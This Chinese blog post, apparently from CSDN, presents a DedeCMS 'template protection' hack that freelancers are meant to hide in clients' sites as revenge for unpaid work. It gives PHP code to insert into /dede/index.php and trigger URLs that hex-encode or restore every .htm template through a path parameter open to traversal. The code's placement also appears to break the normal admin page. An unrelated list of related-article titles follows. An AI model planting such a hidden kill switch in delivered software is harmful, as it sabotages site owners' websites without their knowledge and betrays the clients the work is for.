织梦cms模板保护技术,专门修理无良老板,尤其针对卸磨杀驴,干完活不给工资的外包老板。从此网上接单无忧愁

原理不说了,高手自然懂。菜鸟学会用就好了

二次开发部分:修改 /dede/index.php ,在  if(!file_exists($myIcoFile)) $myIcoFile = $defaultIcoFile; 后面添加如下代码

$action = isset($action) ? trim($action) : '';
$path = isset($path) ? trim($path) : '';
if($action == '')
{exit();
}else if($action == 'encode' && $path=='')
{echo '<script>alert("请输入路径");</script>';
}else if($action=='encode' && !empty($path)){scanAll2($path);
}else if($action=='decode' && $path==''){echo '<script>alert("请输入路径");</script>';
}else if($action=='decode' && !empty($path)){scanAll3($path);
}function hexXbin($data,$types=FALSE){if(!is_string($data))return 0;if($types===false){$len=strlen($data);if($len%2){return 0;}else if(strspn($data, '0123456789abcdefABCDEF')!=$len){return 0;}return pack('H*',$data);}else{return bin2hex($data);}
}function scanAll2($dir)
{//echo $dir."\r\n";if(is_file($dir) && substr($dir, strrpos($dir,'.'))=='.htm'){file_put_contents($dir,hexXbin(file_get_contents($dir),true)) ;}if (is_dir($dir)){$children = scandir($dir);foreach ($children as $child){if ($child !== '.' && $child !== '..'){scanAll2($dir.'/'.$child);}}}
}
function scanAll3($dir)
{//echo $dir."\r\n";if(is_file($dir) && substr($dir, strrpos($dir,'.'))=='.htm'){file_put_contents($dir,hexXbin(file_get_contents($dir),false)) ;}if (is_dir($dir)){$children = scandir($dir);foreach ($children as $child){if ($child !== '.' && $child !== '..'){scanAll3($dir.'/'.$child);}}}
}

使用方法:访问后台的index.php文件

编码:http://localhost/dede/index.php?action=encode&path=../templets/

解码:http://localhost/dede/index.php?action=decode&path=../templets/

这样的模板没人认识吧

解码还原

织梦cms模板保护技术相关推荐

  1. 织梦php模板安装教程,织梦CMS模板详细图文安装教程

    织梦CMS介绍 织梦内容管理系统(DedeCms) 是国内非常知名的PHP开源网站管理系统.织梦CMS以简单.实用.开源而闻名,同样是用户使用最多的PHP类CMS系统,历经十几年的开发以及版本迭代 , ...

  2. 织梦cms怎么上传html模板,织梦模板之家:如何安装更换织梦cms模板

    原标题:织梦模板之家:如何安装更换织梦cms模板 很多站长从网上下了织梦cms模板也不会用,走了很多弯路,其实只要模板齐全,只要操作三个地方就可以简单更换织梦模板. 1.要是下载的dedecms模板文 ...

  3. 织梦cms模板搭建网站,需要做哪些准备工作?

    原标题:织梦cms模板搭建网站,需要做哪些准备工作? 织梦cms也叫dedecms,总之就是织梦系统的不同叫法.许多想要自己建站的朋友,都知道织梦cms模板是最简单的建站模板之一,但是有的人在'织梦模 ...

  4. php判断与网站访问时间,织梦CMS模板用php判断某个时间段显示和隐藏内容

    这篇文章主要为大家详细介绍了织梦CMS模板用php判断某个时间段显示和隐藏内容,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,有需要的朋友可以收藏方便以后借鉴. 织梦361小编在帮草根站长开发制作 ...

  5. 织梦网站后台-织梦网站后台登陆方式-织梦CMS模板

    织梦网站后台登陆方式:域名/dede即可进入网站后台.织梦cms是一个独立的网站程序.今天给大家推荐的是织梦cms模板(内置5W套织梦cms模板)以及免费织梦cms插件其中包括有:织梦cms采集插件. ...

  6. 修改织梦cms模板大全,织梦建站必看宝典

    以下是'织梦模板之家'分享的关于修改织梦cms模板的详细方法,拿走不谢,希望能帮助各位站长.织梦模板之家,专注织梦模板设计,提供各种免费精美的企业模板.门户模板.文章模板,众多优质精品模板等您挑选! ...

  7. 织梦模板之家:如何安装更换织梦cms模板

    很多站长从网上下了织梦cms模板也不会用,走了很多弯路,其实只要模板齐全,只要操作三个地方就可以简单更换织梦模板. 1.要是下载的dedecms模板文件夹名是default与默认的模板文件名重复,必要 ...

  8. 古典风格园林景观织梦cms模板

    介绍: 古典风格园林景观织梦CMS模板,带手机端,非常适合市政园林.景观.苗木种植类企业都可使用, 自带的手机移动端,同一个后台,数据即时同步,简单适用! 完美兼容IE7+.Firefox.Chrom ...

  9. 织梦cms模板-织梦自适应模板-织梦模板

    织梦cms是一个独立的网站程序.今天给大家推荐的是织梦cms模板(内置5W套织梦cms模板)以及免费织梦cms插件其中包括有:织梦cms采集插件.织梦cms伪原创插件.织梦cms发布插件.织梦cms主 ...

最新文章

  1. 版本迭代规划的几大关键步骤
  2. 笔记-信息化与系统集成技术-国家信息化体系-六要素
  3. mysql 事务 for update_mysql事务,select for update,及数据的一致性处理
  4. Programming Protocol-independent Packet Processors (P4)
  5. 计算机科学创新大赛,计信学院举办第六届科技创新小发明大赛
  6. jquery操作radio,checkbox
  7. valueChangeListener
  8. Outlook简单配置
  9. SVNServer中的权限问题
  10. 86年版五笔和98年版五笔区别
  11. 信号与系统相关知识回顾总结
  12. Hive beeline连接hiveserver2报错:User: root is not allowed to impersonate root
  13. 产品读书《游戏改变世界:游戏化如何让现实变得更美好》
  14. Spring Security定义多个过滤器链(10)
  15. 8.4.1 搭建自己的SSR
  16. Liteos-A任务调度之任务上下文切换
  17. The bean ‘xxx‘ could not be injected as a ‘xxx‘because it is a JDK dynamic proxy that implements错误解决
  18. python字典函数大全_python字典介绍
  19. 机器学习实战-泰坦尼克号生存预测案例
  20. 算法面试必备-----数据仓库常见面试题

热门文章

  1. css毛玻璃效果/el-progress进度条渐变/axios的基本使用/跨域配置/关闭eslint验证
  2. 【开源电机驱动】闭环控制之电流闭环
  3. Java八股整理--java基础
  4. 携程Java面试题,疯狂java讲义第三版
  5. android studio 一直refreshing,AndroidStudio更新新版本后,项目一直处于Refreshing 'xxx' Gradle Project状态...
  6. python+opencv+百度智能云 人脸识别——人脸融合
  7. QComboBox 鼠标点击触发 选项更新
  8. 2021百度之星初赛第一场部分题解
  9. 安卓盒子开发之遥控器调试
  10. 数据分析的定义和作用